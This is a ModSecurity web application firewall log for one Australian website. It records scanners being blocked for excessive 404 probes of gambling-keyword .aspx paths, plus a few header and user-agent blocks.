[Mon Mar 30 00:24:40.833442 2026] [:error] [pid 23284:tid 23301] [client 20.151.111.128:10207] [client 20.151.111.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aclSSIzBujdPHsq7wyQYiwAAAo8"]
[Mon Mar 30 00:57:30.158579 2026] [:error] [pid 23167:tid 23180] [client 185.198.240.176:64123] [client 185.198.240.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "aclZ-hIAHJCFaHff3_f2JgAAAco"]
[Mon Mar 30 04:49:04.033655 2026] [:error] [pid 4040:tid 4117] [client 195.201.199.99:55996] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "acmQQAxlbJV8kpOpFvZQnAAAAIk"]
[Mon Mar 30 04:49:06.718977 2026] [:error] [pid 4033:tid 4066] [client 195.201.199.99:59266] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "acmQQqnf-DXI9VblHi1NNwAAAA0"]
[Mon Mar 30 04:49:09.620871 2026] [:error] [pid 55884:tid 55955] [client 195.201.199.99:59652] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "acmQRTjuYLVkve3VbhyDFgAAAQI"]
[Mon Mar 30 04:49:12.142743 2026] [:error] [pid 55884:tid 55961] [client 195.201.199.99:59978] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "acmQSDjuYLVkve3VbhyDHQAAAQg"]
[Mon Mar 30 04:49:14.836802 2026] [:error] [pid 55884:tid 55953] [client 195.201.199.99:60354] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "acmQSjjuYLVkve3VbhyDIwAAAQA"]
[Mon Mar 30 04:49:17.597380 2026] [:error] [pid 4139:tid 4160] [client 195.201.199.99:60702] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "acmQTYYyhg47TZoaP9IJtQAAAM0"]
[Mon Mar 30 04:49:20.178119 2026] [:error] [pid 4040:tid 4120] [client 195.201.199.99:60996] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "acmQUAxlbJV8kpOpFvZQqAAAAIw"]
[Mon Mar 30 04:57:49.669806 2026] [:error] [pid 4040:tid 4114] [client 49.51.52.250:43674] [client 49.51.52.250] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acmSTQxlbJV8kpOpFvZTIAAAAIY"]
[Mon Mar 30 06:00:29.083042 2026] [:error] [pid 4139:tid 4153] [client 43.166.136.24:47956] [client 43.166.136.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acmg_YYyhg47TZoaP9IkWAAAAMY"]
[Mon Mar 30 07:56:59.604821 2026] [:error] [pid 35343:tid 35366] [client 54.37.252.130:33272] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acm8S6P5HurqmbvwN-LrxAAAABU"]
[Mon Mar 30 07:57:03.939698 2026] [:error] [pid 35250:tid 35333] [client 54.37.252.130:39256] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acm8T4aKM1MR6zcp2YMuUgAAANY"]
[Mon Mar 30 07:57:07.474351 2026] [:error] [pid 35249:tid 35295] [client 54.37.252.130:39260] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acm8UyqCKiTq85d6rgDcAgAAAIs"]
[Mon Mar 30 07:57:10.885516 2026] [:error] [pid 35248:tid 35270] [client 54.37.252.130:45460] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acm8Vr3igMCgAQPFS_9LLAAAAFA"]
[Mon Mar 30 07:57:14.709036 2026] [:error] [pid 35250:tid 35319] [client 54.37.252.130:45464] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acm8WoaKM1MR6zcp2YMudgAAAMg"]
[Mon Mar 30 07:57:17.952082 2026] [:error] [pid 35248:tid 35255] [client 54.37.252.130:51684] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acm8Xb3igMCgAQPFS_9LSwAAAEE"]
[Mon Mar 30 07:57:22.157255 2026] [:error] [pid 35250:tid 35313] [client 54.37.252.130:51700] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acm8YoaKM1MR6zcp2YMuiwAAAMI"]
[Mon Mar 30 07:57:26.458792 2026] [:error] [pid 35248:tid 35278] [client 54.37.252.130:51702] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "acm8Zr3igMCgAQPFS_9LXwAAAFg"]
[Mon Mar 30 07:57:29.294080 2026] [:error] [pid 35343:tid 35346] [client 54.37.252.130:60334] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "acm8aaP5HurqmbvwN-Lr7wAAAAE"]
[Mon Mar 30 07:57:32.667311 2026] [:error] [pid 35249:tid 35286] [client 54.37.252.130:60340] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "acm8bCqCKiTq85d6rgDcLgAAAII"]
[Mon Mar 30 07:57:36.658186 2026] [:error] [pid 35248:tid 35256] [client 54.37.252.130:60348] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "acm8cL3igMCgAQPFS_9LdAAAAEI"]
[Mon Mar 30 07:57:39.549297 2026] [:error] [pid 35249:tid 35294] [client 54.37.252.130:50194] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "acm8cyqCKiTq85d6rgDcOwAAAIo"]
[Mon Mar 30 07:57:43.101726 2026] [:error] [pid 35248:tid 35262] [client 54.37.252.130:50198] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "acm8d73igMCgAQPFS_9LgAAAAEg"]
[Mon Mar 30 07:57:46.681286 2026] [:error] [pid 35249:tid 35300] [client 54.37.252.130:50210] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "acm8eiqCKiTq85d6rgDcPQAAAJA"]
[Mon Mar 30 07:57:49.795199 2026] [:error] [pid 35343:tid 35357] [client 54.37.252.130:39444] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "acm8faP5HurqmbvwN-LsHwAAAAw"]
[Mon Mar 30 07:57:53.532669 2026] [:error] [pid 35248:tid 35254] [client 54.37.252.130:39446] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "acm8gb3igMCgAQPFS_9LkQAAAEA"]
[Mon Mar 30 07:58:21.704321 2026] [:error] [pid 35250:tid 35335] [client 54.37.252.130:39454] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acm8nYaKM1MR6zcp2YMu9QAAANg"]
[Mon Mar 30 07:58:24.691907 2026] [:error] [pid 35248:tid 35270] [client 54.37.252.130:44072] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acm8oL3igMCgAQPFS_9L1AAAAFA"]
[Mon Mar 30 07:58:27.744425 2026] [:error] [pid 35343:tid 35355] [client 54.37.252.130:44076] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acm8o6P5HurqmbvwN-LscwAAAAo"]
[Mon Mar 30 07:58:30.452667 2026] [:error] [pid 35343:tid 35357] [client 54.37.252.130:42270] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acm8pqP5HurqmbvwN-LsfwAAAAw"]
[Mon Mar 30 07:58:33.328253 2026] [:error] [pid 35343:tid 35348] [client 54.37.252.130:42280] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acm8qaP5HurqmbvwN-LshAAAAAM"]
[Mon Mar 30 07:58:36.182116 2026] [:error] [pid 35248:tid 35266] [client 54.37.252.130:42294] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "acm8rL3igMCgAQPFS_9L6QAAAEw"]
[Mon Mar 30 07:58:39.691052 2026] [:error] [pid 35250:tid 35316] [client 54.37.252.130:50544] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acm8r4aKM1MR6zcp2YMvDwAAAMU"]
[Mon Mar 30 07:58:42.547788 2026] [:error] [pid 35248:tid 35268] [client 54.37.252.130:50556] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acm8sr3igMCgAQPFS_9L9wAAAE4"]
[Mon Mar 30 07:58:45.505590 2026] [:error] [pid 35343:tid 35352] [client 54.37.252.130:50566] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acm8taP5HurqmbvwN-LsnwAAAAc"]
[Mon Mar 30 07:58:48.233156 2026] [:error] [pid 35343:tid 35349] [client 54.37.252.130:37886] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acm8uKP5HurqmbvwN-LsqwAAAAQ"]
[Mon Mar 30 07:58:50.911329 2026] [:error] [pid 35250:tid 35328] [client 54.37.252.130:37900] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acm8uoaKM1MR6zcp2YMvJAAAANE"]
[Mon Mar 30 07:58:53.833576 2026] [:error] [pid 35343:tid 35350] [client 54.37.252.130:37906] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acm8vaP5HurqmbvwN-LswAAAAAU"]
[Mon Mar 30 07:58:56.650463 2026] [:error] [pid 35250:tid 35321] [client 54.37.252.130:37918] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acm8wIaKM1MR6zcp2YMvMgAAAMo"]
[Mon Mar 30 07:58:59.290039 2026] [:error] [pid 35248:tid 35268] [client 54.37.252.130:43402] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acm8w73igMCgAQPFS_9MBQAAAE4"]
[Mon Mar 30 07:59:02.008140 2026] [:error] [pid 35249:tid 35305] [client 54.37.252.130:43406] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acm8xiqCKiTq85d6rgDcrQAAAJU"]
[Mon Mar 30 07:59:04.970047 2026] [:error] [pid 35248:tid 35255] [client 54.37.252.130:43408] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "acm8yL3igMCgAQPFS_9MFAAAAEE"]
[Mon Mar 30 07:59:07.669254 2026] [:error] [pid 35343:tid 35356] [client 54.37.252.130:43410] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "acm8y6P5HurqmbvwN-LtCAAAAAs"]
[Mon Mar 30 07:59:10.314388 2026] [:error] [pid 35250:tid 35330] [client 54.37.252.130:54544] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "acm8zoaKM1MR6zcp2YMvXAAAANM"]
[Mon Mar 30 07:59:13.060983 2026] [:error] [pid 35343:tid 35357] [client 54.37.252.130:54546] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "acm80aP5HurqmbvwN-LtIQAAAAw"]
[Mon Mar 30 07:59:15.706951 2026] [:error] [pid 35343:tid 35355] [client 54.37.252.130:54558] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "acm806P5HurqmbvwN-LtLQAAAAo"]
[Mon Mar 30 07:59:18.532997 2026] [:error] [pid 35250:tid 35315] [client 54.37.252.130:53082] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "acm81oaKM1MR6zcp2YMvYwAAAMQ"]
[Mon Mar 30 07:59:40.750316 2026] [:error] [pid 35343:tid 35346] [client 54.37.252.130:53096] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acm87KP5HurqmbvwN-LtswAAAAE"]
[Mon Mar 30 07:59:43.239874 2026] [:error] [pid 35343:tid 35366] [client 54.37.252.130:45210] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acm876P5HurqmbvwN-LtwQAAABU"]
[Mon Mar 30 07:59:45.981896 2026] [:error] [pid 35248:tid 35270] [client 54.37.252.130:45222] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acm88b3igMCgAQPFS_9MXgAAAFA"]
[Mon Mar 30 07:59:48.457371 2026] [:error] [pid 35249:tid 35307] [client 54.37.252.130:60336] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acm89CqCKiTq85d6rgDdCAAAAJc"]
[Mon Mar 30 07:59:50.846478 2026] [:error] [pid 35248:tid 35259] [client 54.37.252.130:60344] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acm89r3igMCgAQPFS_9MZgAAAEU"]
[Mon Mar 30 07:59:53.400978 2026] [:error] [pid 35248:tid 35261] [client 54.37.252.130:60346] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acm8-b3igMCgAQPFS_9MagAAAEc"]
